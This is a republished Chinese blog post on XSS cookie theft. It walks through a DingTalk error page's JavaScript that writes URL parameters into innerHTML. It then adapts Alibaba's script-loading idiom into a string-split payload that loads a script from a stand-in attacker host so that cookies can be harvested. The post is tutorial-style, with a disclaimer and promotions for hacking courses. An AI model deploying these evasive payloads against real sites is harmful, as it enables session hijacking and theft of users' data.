通过钉钉网页上的js学习xss打cookie
2022-9-22 12:33:48 Author: 白帽子左一(查看原文) 阅读量:23 收藏

扫码领资料

获黑客教程

免费&进群

做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

查看源码,复制其中的代码:

try {        var search = location.search;        if (search && search.length > 1 && search.charAt(0) === '?') {            search = search.substr(1);            var pairs = search.split('&');            var kv = {};            for (var i in pairs) {                var parts = pairs[i].split('=');                if (parts && parts.length > 1) {                    kv[parts[0]] = parts[1];                }            }        }        var errcode = kv['errcode'];        var errmsg = kv['errmsg'];        if (errcode) {            var divCode = document.getElementById('code');            if (divCode) {                divCode.innerHTML += ('errcode: ' + errcode);            }        }        if (errmsg) {            var divMsg = document.getElementById('msg');            if (divMsg) {                divMsg.innerHTML += ('errmsg: ' + errmsg);            }        }    }    catch (e) {console.log(e);}

关键部分是:

    

写入errcode和errmsg到divCode和divMsg中。

其中errcode和errmsg都是我们可控的。

打开console简单测试下:

不懂没关系直接做:

      

说明我们外部可控,导致这个原因是因为遍历的是location.search

本地搓个demo:    

只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。最后做了处理。

正题:加载第三方js代码:

刷新钉钉页面:

    

发现加载了一些js链接依赖:

查看源码,看看他怎么调用的:

<body><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script>

相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:

<script src="http://attacker.com/xss.js"></script>

通过阿里加载js的方式,我们可以改造我们的加载方式如下:   

<script type="text/javascript">    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")</script>

我们访问网页:

直接加载了,查看我们是否接收到:

    

成功接收成功。

这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

作者:飘渺红尘原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14729939.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247577932&idx=1&sn=e0d3160f250594d918b77055dc4b9fc5&chksm=ebebf861dc9c7177284eaf8506943b122cff3c025f8ccbe067d08d89ccd8db549924c4499e4b#rd
如有侵权请联系:admin#unsafe.sh